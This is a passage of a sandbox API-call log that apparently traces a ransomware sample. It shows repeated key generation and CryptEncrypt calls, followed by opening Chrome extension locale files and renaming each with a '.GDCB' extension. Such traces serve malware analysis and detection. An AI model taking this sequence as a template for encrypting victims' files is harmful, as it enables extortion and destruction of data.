0x74cb0df0 [0265.332] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.332] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.332] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.334] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794aa0) returned 1 [0265.334] CryptGetKeyParam (in: hKey=0x6794aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.334] CryptEncrypt (in: hKey=0x6794aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.335] GetLastError () returned 0x0 [0265.335] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.335] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.336] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67953a0) returned 1 [0265.337] CryptGetKeyParam (in: hKey=0x67953a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.337] CryptEncrypt (in: hKey=0x67953a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.337] GetLastError () returned 0x0 [0265.337] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.337] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.338] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.341] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.343] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdb, lpOverlapped=0x0) returned 1 [0265.351] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.374] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0265.379] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0265.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.385] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.385] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.385] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.390] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.390] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.392] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795160) returned 1 [0265.393] CryptGetKeyParam (in: hKey=0x6795160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.393] CryptEncrypt (in: hKey=0x6795160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.393] GetLastError () returned 0x0 [0265.393] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.393] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.395] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67952a0) returned 1 [0265.395] CryptGetKeyParam (in: hKey=0x67952a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.395] CryptEncrypt (in: hKey=0x67952a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.395] GetLastError () returned 0x0 [0265.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.395] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.396] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.402] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0265.410] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.423] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0265.429] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.435] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.435] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.435] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0265.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.442] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.442] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.442] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.444] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67955e0) returned 1 [0265.444] CryptGetKeyParam (in: hKey=0x67955e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.444] CryptEncrypt (in: hKey=0x67955e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.444] GetLastError () returned 0x0 [0265.444] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.445] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.446] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795660) returned 1 [0265.446] CryptGetKeyParam (in: hKey=0x6795660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.446] CryptEncrypt (in: hKey=0x6795660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.447] GetLastError () returned 0x0 [0265.447] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.447] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.448] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.451] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.453] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xec, lpOverlapped=0x0) returned 1 [0265.461] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.487] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0265.492] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.496] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.498] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.498] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.498] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0265.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.502] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.502] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.503] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.505] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795520) returned 1 [0265.505] CryptGetKeyParam (in: hKey=0x6795520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.505] CryptEncrypt (in: hKey=0x6795520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.505] GetLastError () returned 0x0 [0265.505] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.505] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.507] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67951a0) returned 1 [0265.507] CryptGetKeyParam (in: hKey=0x67951a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.507] CryptEncrypt (in: hKey=0x67951a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.507] GetLastError () returned 0x0 [0265.507] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.507] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.509] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.511] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.514] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd8, lpOverlapped=0x0) returned 1 [0265.522] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.530] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0265.535] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0265.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.542] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.542] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.546] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.548] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.548] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0265.548] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.548] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0265.551] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795820) returned 1 [0265.551] CryptGetKeyParam (in: hKey=0x6795820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.551] CryptEncrypt (in: hKey=0x6795820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0265.551] GetLastError () returned 0x0 [0265.551] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.551] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0265.553] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67954a0) returned 1 [0265.553] CryptGetKeyParam (in: hKey=0x67954a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0265.553] CryptEncrypt (in: hKey=0x67954a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0265.553] GetLastError () returned 0x0 [0265.553] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.553] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0265.554] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.557] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.560] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x10a, lpOverlapped=0x0) returned 1 [0265.568] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.574] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0265.580] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0265.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.585] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.585] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0265.585] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.585] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0265.587] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.589] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.589] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) 